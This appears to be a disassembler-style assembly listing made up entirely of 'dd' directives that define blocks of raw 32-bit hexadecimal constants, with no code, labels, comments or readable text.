		dd 4D516Bh, 3909AA0Eh, 574EB5F4h, 71044C00h, 2AA2C7C4h
		dd 0E578CFh, 6653374Fh,	337BC149h, 0BD02AC7Dh, 6AEA83B6h
		dd 72AC4268h, 467A0594h, 0C8C1CD41h, 0B0B89960h, 34A4E953h
		dd 0D8ACB13Ah, 8B0E396Fh, 704E2F7h, 80E0F518h, 0AE0E1390h
		dd 8B9300DFh, 0F2D93FC7h, 0CF013301h, 866E02AFh, 0CC357314h
		dd 0BD009023h, 28C2EADFh, 7500AC6Fh, 26F50568h,	29FCBAC4h
		dd 4FF8702Fh, 0A2448763h, 62B5410Bh, 80F0D376h,	0B4EC6D1Ch
		dd 5E12FEBFh, 98080D60h, 5A0C6419h, 435446E8h, 99331049h
		dd 1F3027C4h, 0CC223613h, 51FC429Fh, 0F5C10930h, 0CC46DC8Bh
		dd 8BE1EC9Eh, 5B11F882h, 20DF129Ch, 2DF38A87h, 3A661D00h
		dd 1D8E051h, 4F4CEAF6h,	5BC844BCh, 7CDCE8C3h, 8E9C1197h
		dd 0BD4A7118h, 0B0912425h, 3208B81Ah, 9015E9D6h, 2D8F105Ch
		dd 0C7809197h, 3DC414Ch, 0C4CC00A6h, 0A39C0B6h,	80B23940h
		dd 66FCA019h, 807385E1h, 2CB03110h, 0D10460A0h,	0A123802Ch
		dd 0D4C8815Fh, 0EE7A00DDh, 79F1106Ch, 0B7011E0Ch, 1AF492CEh
		dd 322F56C0h, 6106AF94h, 949F5CE1h, 5C906510h, 0ACC78098h
		dd 0D95368h, 0F280FBD1h, 4D528F0Ch, 2F067001h, 4A3CD8CBh
		dd 0CD3987Dh, 7AA1BF70h, 9019FB01h, 0DE2038E1h,	7921842Ch
		dd 0EC989B89h, 0FB5EC2Ch, 9ED4A97Ch, 1C6C0AE3h,	69E63298h
		dd 0D78F250Ch, 9BAF4184h, 23890558h, 188C22B1h,	48D52A21h
		dd 318FC0h, 0AE429A1Ch,	5C0E8D99h, 9FC47F4Ch, 61782940h
		dd 0A026357Eh, 44896FB8h, 248236Ah, 84A2DF78h, 929C49Ch
		dd 5B88ED1Ch, 0AED4C8h,	20E0F052h, 8A7F3296h, 9306940Eh
		dd 410E3EE5h, 4E4DCB87h, 0D0C85CC4h, 70911121h,	0C27A16h
		dd 1982A580h, 1894848Ch, 421EF17h, 28E8E3C2h, 0E4109D66h
		dd 0EA008CA4h, 430F8F73h, 0B1257Bh, 0D9B3B539h,	0E7075BE0h
		dd 0E6E69932h, 0F0D98Dh, 1A7685CDh, 71168370h, 84F1F152h
		dd 0F7AF80Dh, 0C30E5634h, 0E06E1924h, 85429934h, 13D05029h
		dd 8094E24Ch, 0F055818Fh, 0E9040B5Eh, 1481D49Fh, 81F2E06Bh
		dd 0CA8D15D1h, 0A084DA74h, 0F9B78E60h, 6AEC8040h, 538BADh
		dd 0DC7F9A2Bh, 0DEDB070Fh, 21F03102h, 46C76345h, 78AC16E8h
		dd 357C05FCh, 5E88E77Fh, 4A8C1420h, 450D1C23h, 177809D0h
		dd 449A9885h, 0E5A7E190h, 2CDEC298h, 31703380h,	189D09BBh
		dd 0E9B948CCh, 80F1B399h, 0D56E2D59h, 704EADD1h, 0DA150011h
		dd 763E2C60h, 451639EFh, 5B04F3EDh, 2CAC5E65h, 52F23C80h
		dd 3E002661h, 0C6FD2B27h, 2F1035BDh, 14E495B5h,	864D410Bh
		dd 0D74A4DAh, 12B47531h, 0E4442013h, 70079C0Dh,	0A7F10EA8h
		dd 30295720h, 0BC2B58DAh, 19E1211h, 9F9A0E45h, 3C2464C7h
		dd 3F4F4063h, 8051B8FBh, 25097AD6h, 3B5205C7h, 0EF014DDDh
		dd 0A69C1D6Ah, 5A842CB3h, 5362A840h, 0F822F086h, 94582641h
		dd 2CAB88A8h, 80E3124Fh, 0B1CB1312h, 3920F200h,	7BCEB8A5h
		dd 0E3AD0007h, 0A20A81B4h, 0EC4A17F7h, 87D8B4D0h, 0FD9400D9h
		dd 4480F955h, 5D00203Dh, 0EDDBB7BEh, 868F12EBh,	49FAC93Ah
		dd 7E491014h, 59C6E84h,	0C4894A89h, 3BF8800Ch, 389684Bh
		dd 3E815DB3h, 20638D2Bh, 0F4B6BB14h, 16769A0Bh,	0CB112D30h
		dd 5BCAD018h, 0C08D731Eh, 88BA1982h, 0DBECE223h, 0ACD90388h
		dd 0E2C05874h, 0A3F84982h
		dd 341F2A00h, 60662F4Ah, 6FAB0241h, 5C9C97EDh, 5500F0F2h
		dd 0F5463B3Ch, 92D8BF4h, 0B36713F7h, 0A2979472h, 651117F8h
		dd 295B806Ch, 0F8B5D12h, 8969401h, 3C1EF611h, 12C9E8ECh
		dd 0C1D8EC6Eh, 32378894h, 0C0FC5CB4h, 6D33D0A0h, 0D96A4B87h
		dd 0B49C4238h, 571C0120h, 5863605Dh, 0D70F1747h, 48C729C0h
		dd 26C13160h, 6078B48Fh, 0BB6ED25h, 7E381401h, 971891Dh
		dd 0B8C2542Dh, 0B8A36A26h, 0B88D126Eh, 0D4C89280h, 0E12700A0h
		dd 62D972FDh, 0AE247F97h, 0A108AC1Fh, 0F923882Dh, 912060A5h
		dd 0F77C84D1h, 8AE81188h, 61FC00E4h, 80B07B39h,	75113DBBh
		dd 63520Bh, 0A1B221B6h,	0AAF3A974h, 0E0F7CF28h,	1388674Ch
		dd 0F0D05C9Bh, 0E52808h, 2D3F459h, 31D93466h, 1C98DC24h
		dd 44796D07h, 4E3BFFD0h, 80BB0095h, 0B35D62E6h,	0EA00851Bh
		dd 3F7BFD22h, 91AB3808h, 440B0030h, 0E84A9E27h,	0C1704F09h
		dd 5468D809h, 1C0AE0D1h, 0D2392364h, 6A8C49E8h,	0F05CB429h
		dd 7D8FE2E1h, 96EC206Bh, 5100D12Fh, 952205B7h, 17F21F07h
		dd 1B0409Ah, 3942B3F4h,	0C4042003h, 6248A395h, 9976F015h
		dd 909B583Bh, 8D2DA910h, 8426B913h, 9738805Eh, 9E0ED60Fh
		dd 6493985Ch, 0BC81B27Eh, 456AB1FCh, 6BCEF4h, 4FC47DA1h
		dd 0E48CC5Dh, 0E4C92988h, 0A0F23D92h, 6BA0CA22h, 803A8F6h
		dd 44EA815Fh, 1D702267h, 0CF50109Fh, 0B66600EBh, 0C657AD47h
		dd 525F6F67h, 8A154480h, 39BD3CDCh, 7CEB1AFCh, 0CF8060A0h
		dd 13489451h, 40338F00h, 55241A10h, 5BB33CD8h, 96C7EF00h
		dd 263FD438h, 8D4BA1C0h, 779C66ABh, 0E8F8D3h, 0B7B88FE3h
		dd 0E061C81Bh, 1F857800h, 0B6293144h, 0FB1812A3h, 225B0E87h
		dd 7E570C81h, 85646072h, 302E771Fh, 7BDFC780h, 3C11A58Ah
		dd 0F9000247h, 57B2BCD1h, 664A1048h, 3C6BF488h,	1F00E81Ch
		dd 3132AC04h, 775C99A0h, 34F30730h, 617397B8h, 9B3C76Bh
		dd 936FF0E1h, 0CA990495h, 2B03462h, 6AAF1D89h, 567020B0h
		dd 531C2A5h, 76CB8975h,	0F268072h, 900F62Fh, 0D33C722h
		dd 43E9A3Ah, 0B2E75523h, 0C5C4F497h, 0AA74A00h,	37C812BAh
		dd 5D9B2C95h, 6D101FE3h, 0A30B84E4h, 0D2472BAAh, 0A45072Ch
		dd 10F2DC75h, 5E9BC824h, 5F125290h, 2809B335h, 2245AECh
		dd 0FB1B1CB2h, 0D8E8B051h, 0E60A31B3h, 0E8F65487h, 812A2300h
		dd 2EF1D59Dh, 2136F9h, 78D61E0h, 0F65496B4h, 3000B378h
		dd 0CA378635h, 0FE817739h, 802800A5h, 3F18E822h, 430429D3h
		dd 0B1CADF8Ch, 88BD10E0h, 42F461D9h, 1396E301h,	0F305276Fh
		dd 4812D030h, 0F80801Ah, 54895C76h, 18945E0Bh, 7D108FE2h
		dd 0DA42C8E6h, 19C013B6h, 0D71D6547h, 77002ABDh, 9D80BEA2h
		dd 5033F6F6h, 58CC0C96h, 17858C32h, 8494EC18h, 4940B94Bh
		dd 3FD22BE8h, 0DCD8BFh,	88313490h, 0C7E2C201h, 5C8DEE1Fh
		dd 8C788480h, 98A1B36Ch, 59F8015Ah, 0A312C592h,	0F8CA2EF9h
		dd 3B50204Fh, 0CB1CEB7Ch, 0ECC70F9Fh, 4E70F588h, 930BF0h
		dd 293759FAh, 84F9A469h, 5A2FE500h, 28D95CD7h, 792301B1h
		dd 1B6245EAh, 0DA22309Ah, 1800748h, 6B7DB385h, 8C7CC89Bh
		dd 25BF5B09h, 858974C9h, 779B3881h, 67FB7680h, 0CCA2143Dh
		dd 181F030h, 353F9DB2h,	4812FD78h, 9E440998h, 8D67090Fh
		dd 64F0C2D7h, 60F2C700h, 0E29CC1EFh, 0C4B89F97h, 0E6002A9Ah
		dd 0C74BE982h, 4DFB0Eh,	76ACCD65h, 0B62F1D0Dh, 0F943113h
		dd 2E0050B2h, 0B95BDBC6h, 4F3CEC43h, 834A048Ch,	9058AD3h
		dd 80E4EC1Bh, 961CA848h, 0A2E24A97h, 8B9E3F60h,	80E0C0C1h
		dd 18444D3Ah, 767F02E7h, 7831BA42h, 0E200D4D1h,	0A530ABD3h
		dd 2E9C2CFAh, 880B07ECh, 2502499Ah, 0C45E3899h,	0E6B12C40h
		dd 36D83AEAh, 32397A00h, 0E1DEB32Dh, 830713F6h,	0C261D268h
		dd 679E0C90h, 90935FECh, 0C08BA744h, 556AA400h,	70091A4Ch
		dd 0C83B5094h, 126FEA08h, 0D27360B5h, 0D120CD2Ch, 0ED81CAh
		dd 1DB1A67Ch, 8EC13DB7h, 0E8799600h, 0EC48783Bh, 45F49E0Ch
		dd 0C0C820C6h, 760E7D1Bh, 44473B0Eh, 0CBA4621h,	0EC698C98h
		dd 34007371h, 36876179h, 149247Eh, 1FD4A272h, 6E2560F7h
		dd 0D38F000h, 959C98BAh, 0AD1C3064h, 52004180h,	7905AE22h
		dd 4ED43E9Dh, 9EAA1700h, 7FD2FACFh, 0E49FE228h,	7878FF20h
		dd 1C610294h, 64BF8A02h, 0E7009CD1h, 42C79591h,	0DB3D000Dh
		dd 0CAEF593Fh, 0E02F4A8h, 4F370776h, 46F8C29Bh,	944D0150h
		dd 41E91E4Ch, 6C683B38h, 0BCC4F03h, 0B07093C0h,	0D5F82FB0h
		dd 0FB003092h, 0F8DF513Ah, 6152CDE9h, 0E02BE903h, 62FA40FEh
		dd 1A020B3Fh, 4FD29A58h, 78C0D766h, 0FC003763h,	6DF487EDh
		dd 0B0033B5Ch, 804C9E48h, 53FFDD1h, 0B00B619h, 0DD9660DFh
		dd 2DF7BB36h, 0DC909469h, 9304B788h, 6B556C2Eh,	23E84C2h
		dd 3D2447A4h, 0D051A4FDh, 0C4592BE2h, 0D5856000h, 3443C13h
		dd 677A1A48h, 5B8DC32h,	9B3D3909h, 2C244F07h, 6E9040ABh
		dd 8C0E4DBFh, 7BED1701h, 38450616h, 0CDD0C0E5h,	0C9184A35h
		dd 68E4D41Ch, 0C7250400h, 0F8BBAAF1h, 6640001Ch, 9C1B6F43h
		dd 9E0E4BA6h, 0A05D29BFh, 0CE2DAE5Bh, 0E6C70209h, 8912E3A9h
		dd 946FC740h, 5B74AAECh, 19396700h, 1BE73EF3h, 0CFA50033h
		dd 0D39DFD1Ch, 7B0208ACh, 0CE07209Eh, 9810570Bh, 8200FB3Fh
		dd 795BD587h, 0D9F337h,	1B862162h, 6BC847B4h, 384FDD2Eh
		dd 0FAB4A02Fh, 2642CCFFh, 4240DACDh, 786C1517h,	7C3BAD29h
		dd 0CD7F116h, 2AE9F7D0h, 0A88A004Fh, 0AC8911F8h, 0AA27A493h
		dd 17186E25h, 1BDB7Ah, 533D36C7h, 49B817B2h, 75DAFA02h
		dd 401407C4h, 5AB95FD0h, 7780307Fh, 260074E0h, 3A55051Fh
		dd 0EF6D53h, 56A0C4FAh,	2954A434h, 44CCBA27h, 0C6F503DCh
		dd 0DBA8CE3Eh, 0A0F247A0h, 0E17E6BF4h, 0F8C73A0Fh, 4B42BD6Ah
		dd 60AEF9A8h, 0B44688A0h, 7BC4098h, 132536EBh, 9D8F04Eh
		dd 34B50FCCh, 991BA048h, 14D5BA00h, 0B236DC25h,	4C94EC65h
		dd 5F116495h, 4689127Ch, 0DE3F4C22h, 49D480F4h,	57CC930Ah
		dd 0A0B7B57Ch, 37896250h, 12B8B641h, 406B00D0h,	1F1D94EDh
		dd 0B3161CB9h, 7B018A0h, 805488A7h, 0BC24A593h,	89A869ACh
		dd 0E07CD67Ch, 7B6BA74Eh, 6A62AE18h, 50EEEBCCh,	40B8BC39h
		dd 40B894A0h, 1C125612h, 0F86B0420h, 0A8990993h, 7076066Fh
		dd 4CE34812h, 1932C001h, 38953177h, 0A5AB8000h,	3ED505h
		dd 0E70F572h, 4E6D129Fh, 2911B300h, 0B2A650DAh,	0B70B90Ah
		dd 0A473043Ch, 3666E780h, 3C1BEAC8h, 26A6FF6Ch,	291304AEh
		dd 3960F4A9h, 897EB300h, 0ECA28E15h, 8DB5034h, 255A79F0h
		dd 0A06CA33Eh, 86077F00h, 93CD7C80h, 0C488043Eh, 0C105E5D2h
		dd 200346DAh, 21205E10h, 0C9375A94h, 0C4CCD150h, 0B1D3BFC1h
		dd 59E99C0Ch, 0B42097AAh, 0B311C93Bh, 74D0F000h, 2824892Ah
		dd 9A13120Bh, 2048915h,	0DC5988C6h, 96BA3208h, 0FA020FAh
		dd 0F9F75801h, 0A3C7C80Ch, 0B4EC4426h, 3A67AB02h, 164CD899h
		dd 80742706h, 1A0964D8h, 0CC99CE61h, 733E17C4h,	0ECB06E84h
		dd 4D020648h, 430C8720h, 3CC701B7h, 0F98644D1h,	9FF2C29Ch
		dd 0E0B38FD9h, 0CDB7D6B0h, 0CF6201E0h, 42758E0Bh, 308FD5CBh
		dd 0A712CEF0h, 2C096B13h, 37300544h, 19A074A8h,	0EF4A711Ah
		dd 3800B8ACh, 0C4C2231Dh, 0F3072B76h, 0B2781EA4h, 0C2AEE83h
		dd 3B632011h, 0E6974C29h
		dd 0EA77ECh, 0BA40C39Ah, 0B25C1A80h, 884AFC00h,	0C813AE6h
		dd 43A00047h, 0A734F5EBh, 1D00128Fh, 0C1B51036h, 50FF2FCAh
		dd 0B793DEB9h, 0D3031090h, 0B07D573h, 0E67A8CEEh, 4DC77780h
		dd 496902A2h, 89DAB3Ch,	80FE10EAh, 8E933980h, 0E0A16F4Dh
		dd 8A2300FAh, 18BEF684h, 0DD13A404h, 5BBACD6h, 80F99983h
		dd 9389C814h, 0FB90F4B0h, 7A00F498h, 0DDA8E109h, 0BA02A198h
		dd 0C010BF48h, 0E69D346Eh, 0F04097F4h, 1C3013E4h, 8F5B6479h
		dd 0F6E2BAh, 0C14F1028h, 38B05C2Ah, 5F5A4078h, 27944840h
		dd 390FF8Ah, 93A79FF7h,	0DFA01E75h, 6E09C9F2h, 0D96F0F8Ch
		dd 0E3C20004h, 0C386F602h, 601F8FE8h, 882DDE31h, 7A091C4Ch
		dd 623810ECh, 0E1E600CEh, 87229FF3h, 0DC04F0A9h, 64E5D374h
		dd 370060E2h, 0D81D59A8h, 0BE001F48h, 0F3F0CC0Eh, 124EB165h
		dd 0BC191471h, 12D40560h, 4CB110Ah, 65C0BF00h, 6BC5CFE7h
		dd 0CEFF900h, 0D2CE680Dh, 0F20F4E1Bh, 8EFA84B0h, 0E4012B77h
		dd 84C51B09h, 0B530CC61h, 0F60A011Eh, 45A76846h, 636830D4h
		dd 6709843Eh, 5092996Dh, 19FF0940h, 109891ACh, 461451B0h
		dd 1EB87580h, 20C092A2h, 0A558BC34h, 0C01D5F17h, 7BE09F94h
		dd 8B0662E8h, 15FD22B1h, 96392981h, 194410FCh, 0A4084B45h
		dd 0A050202Bh, 0D771D15Dh, 0C4039C05h, 0DC80A318h, 173D8286h
		dd 175F9EA2h, 2CF62Ch, 1D83D115h, 403CBE45h, 9C0F9185h
		dd 0E16167BBh, 0D9098F96h, 738F03Ch, 91B32600h,	3BC45AAEh
		dd 0BC57984Fh, 60C0DCA3h, 8130405Ch, 393ACA05h,	0B842156Ah
		dd 574A895Eh, 6B003C14h, 9ADFD2D5h, 3C6EE331h, 0F08016B8h
		dd 3F134E77h, 92021275h, 1AB8B6Ch, 2394C066h, 9F10FF6h
		dd 0B2296456h, 46C340Ah, 0C418D346h, 8B8BCC0h, 92AECB0Ah
		dd 0FCA260h, 9AA93340h,	0C08BC6Ah, 177F1E74h, 0F6244338h
		dd 0CA2708DFh, 51DA09C0h, 81351150h, 92693341h,	0C09C4990h
		dd 7B4DBB7Ah, 2F2200E0h, 39FE6956h, 0D30334Bh, 6FB2316Ch
		dd 8030B347h, 46121A5Ch, 2C074105h, 0CF0ED6F6h,	8971424Eh
		dd 49E47C1Eh, 6704185Eh, 0E852056Ch, 4BFB000Ch,	12C99FF5h
		dd 8B7A0091h, 3466F0C0h, 7608A0CDh, 0BEB01809h,	0A2726713h
		dd 57EA1EBCh, 0C160F86Ch, 74615280h, 863800E1h,	4447488Eh
		dd 0F6A0B773h, 520FF950h, 60455D4Eh, 0F1879F70h, 362799Dh
		dd 0FD234915h, 0C2F32FF9h, 769CE5F8h, 225F7900h, 0B37EE51h
		dd 0D23614C5h, 0EC418052h, 6968F0h, 66242E89h, 37FD1FF0h
		dd 70A3104Ah, 62B31B00h, 74BEE832h, 0B4DC5D5Ah,	4F0126A9h
		dd 12F0266Ch, 3EECE3B1h, 5FC1002Ah, 2E604ACEh, 48340062h
		dd 40CB7E6Ch, 0B4166F9Eh, 0B0B5A30Fh, 171206E5h, 5710125Dh
		dd 63B89490h, 21711D05h, 0A4C4CA30h, 0F12C1CADh, 0D41040F4h
		dd 0C6705F89h, 57BC4300h, 1ED1BEBAh, 2450910Bh,	0DC655074h
		dd 94AB600h, 0FD693CF5h, 3A591F49h, 262581DDh, 680F0A06h
		dd 0CC998034h, 18E7821Bh, 49B03094h, 964EBF93h,	0D4ACC013h
		dd 306B5B18h, 0CDEC10C7h, 2F829F01h, 0D345F123h, 27B04460h
		dd 0D07BE752h, 3600B516h, 118431C1h, 453CB826h,	0A390440Bh
		dd 0EB91F30h, 0FCD8CA1Ah, 359A4054h, 3300432Eh,	0B91DA69Eh
		dd 3D64Fh, 7EC6C594h, 1F1214F3h, 220E7B2Dh, 12B81DA4h
		dd 3B647C5Ch, 206EA499h, 345786D0h, 0FC52940Bh,	2588D445h
		dd 11AF7073h, 9F089A98h, 0B809C1Ah, 6EF86151h, 7A002432h
		dd 0CE19C133h, 2026B66h, 22BA8B70h, 0A4545180h,	0D8A267D8h
		dd 0FC88B74Fh, 29DB0D0h, 0C3D29246h, 8609E96h, 5320809Dh
		dd 136C9294h, 0B2A8C25Eh, 0CA10434h, 56ABB908h,	0A384C3A8h
		dd 3E91A9E9h, 95B23820h, 0F61E0F38h, 0DD0135h, 0DFB508FDh
		dd 0EC004868h, 0FCBB9BCh, 7D668D76h, 0AD790FFAh, 53094702h
		dd 3707FC50h, 96E5992Ah, 0DCA55FC4h, 0E08F8F00h, 754B00A5h
		dd 0E6DF0867h, 1600E1DAh, 14110CB8h, 9D50BF57h,	0B441443Ah
		dd 95F583h, 983BAC0Fh, 3ABB0344h, 0CF291B8Fh, 3A159481h
		dd 29B5DC88h, 13D8908Eh, 554A337h, 8BBF9AE7h, 91055CBCh
		dd 0D7AEC384h, 0ADB483D0h, 0E1B4B5CCh, 0A4007B5Bh, 6606B216h
		dd 0D62C3BBBh, 0CDB07A0Ah, 0D20380D8h, 7CACF207h, 0D6D9517h
		dd 0F0016E00h, 26643A26h, 930AEEEh, 485F03h, 18000CE8h
		dd 0B420C14Ah, 0CF87E6h, 4B6BEB1Bh, 0DACBF993h,	7425B07Bh
		dd 8E48619Eh, 22511C8h,	41FFC920h, 0C0412D50h, 8280308Bh
		dd 0F718CEh, 0E62BF36Ah, 0BD83017Ch, 0F19EC0B3h, 89C4D853h
		dd 7488944Bh, 74EA0155h, 0A53D6A6Fh, 0F072D46Ch, 35B84200h
		dd 0E801E571h, 26902B5h, 0EBD39541h, 5059F0A9h,	223387BBh
		dd 0F310FFCAh, 52F14AAh, 0EC2830B0h, 0AB784778h, 0D194D079h
		dd 7D000F5Eh, 4E73331Ch, 74F37AEFh, 9774776Ch, 0BF475C01h
		dd 200D1250h, 0AA72C1BBh, 4E9E7101h, 91314397h,	0F0805FFEh
		dd 811880BAh, 42223F00h, 14199910h, 0B767137Bh,	4DB823B2h
		dd 0C00533F1h, 4C5A4116h, 8B4C40E2h, 8E904F07h,	6C7C5994h
		dd 40BEFC5Bh, 21D29E14h, 64029056h, 0CD39DC9Bh,	110CF132h
		dd 6CB8931Ah, 0FBC6C7C2h, 0A208E0D6h, 1A01049Bh, 0E801EFE2h
		dd 155FB576h, 0C674482Fh, 0EB69E280h, 531399h, 0EEACD77h
		dd 700A9AD5h, 0D378BE00h, 623F2282h, 0A53B3D29h, 38E44401h
		dd 0CC895023h, 3602C39Eh, 6318C5BBh, 123C609Dh,	441A04D0h
		dd 0ECF58E8Ch, 0C9DE8054h, 0B708F4h, 73A3A2EEh,	914BA7E8h
		dd 8038BA02h, 80B91B09h, 1D944F70h, 0D7FF00C6h,	51E1DE2Ah
		dd 1301B664h, 32166A20h, 108F5B39h, 8FC17221h, 0F81DE679h
		dd 430FC38Ch, 26FF3486h, 391F7Eh, 0B4A90648h, 0ACBBB77Bh
		dd 0BFCD3A03h, 0D8FF20A6h, 0CADE130h, 513933C2h, 77008B59h
		dd 1BCB2901h, 58E319h, 0A38D8CA2h, 0CF947D0Eh, 1611EE00h
		dd 0AC321C70h, 0BBC63CE1h, 0DF930074h, 3336DE19h, 0A400E35Bh
		dd 0BA63F78Fh, 941B392h, 5F4C0BF2h, 62EC7C03h, 0EDF57000h
		dd 0B7F7F4F3h, 0CC112C77h, 5D883169h, 0C808B057h, 60AD9EBBh
		dd 0B1C111BDh, 0DE003AC4h, 0BA620C9Dh, 70A507C3h, 63213DF3h
		dd 4066771Dh, 0A9B043CFh, 100AFE9h, 0A86A04ADh,	0CA6FBD9h
		dd 2B414FA7h, 1E43361h,	651EA1FCh, 3D00E226h, 4C952F0Fh
		dd 3E430248h, 91E70D52h, 183CAC90h, 3F048F00h, 42B1418Ch
		dd 9C600EEh, 0A01A56CEh, 993A73DFh, 0D63102A1h,	5F613552h
		dd 505326E1h, 469D5DB4h, 0C9D87207h, 4D279141h,	140F08B0h
		dd 73D700CDh, 78DD4F65h, 0A8C11218h, 5F5ECA16h,	0BE3A4081h
		dd 0F84EC5ABh, 772444FEh, 5B00A6E3h, 82E93414h,	0FF2B011Dh
		dd 0E5198FD2h, 3610C844h, 2F1E0104h, 3082C4DAh,	91A08C93h
		dd 0EF2C016Ch, 0B16A182Dh, 0DBC882D7h, 0A0D8263Eh, 6C91BFBCh
		dd 4A7E0A9Dh, 3FD4E6F9h, 11E26203h, 491B4FDBh, 8831BF77h
		dd 0A1E512h, 6BC2E1E7h,	0ADCCCD8Dh, 0F8114803h,	0C916C163h
		dd 400BCDFh, 0E0EE951Ch, 0D868CC3Eh, 0AE330990h, 0D908236Eh
		dd 0A2E7FFBDh, 61D8E64Fh, 0E7300A71h, 8DCC4D9Dh, 0E151D966h
		dd 633C20B9h, 4BE2671Eh, 0A08E5420h, 7E42966h, 13203ACh
		dd 1100EC79h, 0D8D09CA5h, 176B8E0h, 150E0611h, 0C4AE3278h
		dd 300096EFh, 561DCDC5h, 2B963FEh, 41541CA6h, 284820F9h
		dd 0D102DBACh, 0C501A9E9h, 0BA34482Ah, 183D00A2h, 29822693h
		dd 5301F4F7h, 4EF06136h
		dd 3024D242h, 0D15A60C8h, 121E9258h, 0A84F200h,	7703FFBBh
		dd 5ED749Dh, 0A79B433Dh, 652C821Ch, 0C6DF88A0h,	0F070498Fh
		dd 0EE183EF0h, 0C0118E7Eh, 0A326194Ah, 22C99010h, 0A9037980h
		dd 75AB6989h, 4892B8D6h, 10ACA00Fh, 0E101806Eh,	3007E7Fh
		dd 0AB3311D1h, 393E8B3h, 5D41AC31h, 0EE90E482h,	52FAA7F5h
		dd 9A7BD53Fh, 8958D7C0h, 17AB86BCh, 52450071h, 1E28BF9Ch
		dd 3402094Fh, 1184B2AEh, 67EC90CFh, 57CB225Fh, 0AD2E9700h
		dd 0DC3040E5h, 56D31232h, 0C2D05D1Ch, 0C26280ABh, 0FFBDFCA2h
		dd 207EC4A6h, 0E35FF080h, 3F21CF60h, 0A0D870A0h, 1C953818h
		dd 0FD780111h, 778154B2h, 3E000844h, 0E71E19FCh, 91C327h
		dd 8CE4F985h, 1CA1C2Ah,	8CB4A15h, 0E1660C94h, 0E1C939EBh
		dd 495EF19Fh, 5C80E690h, 2384037Dh, 19314400h, 32B9F7D6h
		dd 0DE33124Fh, 0BE705DDAh, 9881723Ch, 0F41C9CC9h, 0A1AC30F9h
		dd 3D543A16h, 6349815h,	2FC476D8h, 0AAC90069h, 704D4858h
		dd 6501196Eh, 2434FFCh,	0CDCCE108h, 0AD2002C0h,	0C379B630h
		dd 965E80A0h, 0BB0ECAC8h, 78E270D7h, 0C01CC919h, 0FEC05459h
		dd 201C775h, 0C21D70E3h, 0F0BCBBBEh, 1605E122h,	0C473FE11h
		dd 0F2A6F421h, 8C42ECh,	2C865B7Ah, 335EF1ECh, 5120A090h
		dd 67CE4055h, 4BB63C10h, 5A002C48h, 5DFAAE2h, 0A700FE27h
		dd 0ABB07B0Eh, 7895FA7Fh, 9F6B003Dh, 0F8853857h, 3C4C543Bh
		dd 0D3DCFE8h, 30E09958h, 0F169004Dh, 0EC3B22A5h, 3400E735h
		dd 524EBA05h, 0F87C591Fh, 0FA0313BBh, 6814086Dh, 23FFE242h
		dd 510114C9h, 6C0890Fh,	0A7F08036h, 0CEE600CDh,	7ADB09E1h
		dd 43F6A8BDh, 44FE7124h, 0A388881h, 0EC2290E7h,	0BC9978h
		dd 5B80E1C4h, 7958E677h, 0C0498730h, 0DC2010D9h, 1D0CE23Fh
		dd 0C097D7FCh, 43CA6FB5h, 0A8B07165h, 69E4F700h, 52DA4A47h
		dd 0C9FE3AB0h, 8690E22Ch, 19CCB441h, 0B614D702h, 64DD70C5h
		dd 33CE0F94h, 16428A09h, 9E8E058Dh, 0CB1CC860h,	0E4A3688Eh
		dd 0AC66E1F2h, 9ED41649h, 3324EF45h, 0E265C403h, 0EB290CE5h
		dd 66D14E93h, 92B80648h, 882D1F09h, 9041904Ch, 51806345h
		dd 0D3DEF5E5h, 0FFE8EDD9h, 2CD82522h, 5EAEEF8h,	406FCB1Fh
		dd 0D7A841D0h, 670035E3h, 1DEFC697h, 0BCEA7F3h,	3ADBE14Eh
		dd 0CC0F9890h, 8055B53Ah, 7C4F249Fh, 985F231h, 0A11249FFh
		dd 0C416E001h, 5D318986h, 33801058h, 58F85801h,	7C7CCC28h
		dd 0D8EC1173h, 0F1D70838h, 23C91312h, 0BEF8E9F8h, 3103D6F2h
		dd 753D9302h, 6F8CE09Ah, 0F8893865h, 1510A800h,	96E70141h
		dd 0C01388A9h, 0DE0A0D5Fh, 947DE1A9h, 7213F84Ah, 4DC37C02h
		dd 4A8E00Eh, 9C500342h,	284A3201h, 0A7E9A0F8h, 995C3500h
		dd 880D64E6h, 4AF00C2h,	291F32C9h, 1604D4C3h, 0C52E7746h
		dd 61D960C1h, 5CA1BAD8h, 418FB4A8h, 2219B480h, 8F0C204Bh
		dd 1107533Ch, 64750AA7h, 64FC9397h, 0C8CE47BCh,	1C80A5F4h
		dd 298D7FFh, 0A740990h,	88C0794Eh, 0E0A07254h, 0A007A133h
		dd 51DAC1Fh, 4FA03227h,	74B54593h, 52DEADBh, 39331CE1h
		dd 3BC4060h, 0E4094717h, 2475EF00h, 0D2FBB737h,	8ED000DDh
		dd 981663F7h, 52F8679Fh, 950CA4A0h, 3D484417h, 88C0E414h
		dd 0BC1F8051h, 0F263FBC6h, 40047B00h, 0F01C9F85h, 4FB3035Ch
		dd 43C8A6C7h, 0FFFE3905h, 9183E154h, 4E59F1E9h,	5DC3ABE4h
		dd 409345Fh, 2015C5h, 6B502B1h,	7DA60102h, 40488557h, 72EA3B0h
		dd 88931C96h, 84BE611Ah, 55E1F05Dh, 4E8000BBh, 0CE4114FBh
		dd 0C4B50076h, 0FE39E1ADh, 0E7093A84h, 226DEE9Ch, 22BCDFB0h
		dd 9044C8B9h, 0A6F41B00h, 0E1B4152Bh, 37212E6Eh, 0D48F00F3h
		dd 3BC64A2Ch, 84E4C25Ch, 0B3203AC0h, 92E6AC1Ch,	7F16F100h
		dd 1456EFDFh, 0FBD80630h, 71E6799Ch, 0B63F0100h, 0CC754812h
		dd 898700BEh, 655DEDF7h, 2D001EAFh, 3E1015FBh, 0A4087Ah
		dd 2F887E3Fh, 0A222D8AAh, 45CB1918h, 9AA9F1h, 57183F12h
		dd 9D8A2084h, 9CADE304h, 0AFC058DBh, 4816C366h,	6C82C4D9h
		dd 94586BC4h, 0EC2E3329h, 4B876200h, 0F86948Ah,	0B173C3A3h
		dd 9F6A1DA3h, 0F9CC69F0h, 6ED2111Ah, 0E6D04031h, 24A49018h
		dd 0EF187C95h, 18482669h, 9B77C525h, 113B9F00h,	6C226D2Ch
		dd 7CCA02D3h, 5EBEDDB7h, 0E476A050h, 37EAEB12h,	0DE960104h
		dd 0FE69F0C0h, 0E7090A6Ch, 94D45BAAh, 6B80BC38h, 0E498E520h
		dd 0F8D7EC1Fh, 0AD2BF40h, 13F46160h, 8A52F4Dh, 48A59C0h
		dd 642088E9h, 0CB85FF0Ch, 3D0E5970h, 44803894h,	0A51BE34Eh
		dd 0C805BE42h, 12F5B52Ah, 1322E081h, 41119310h,	7233B001h
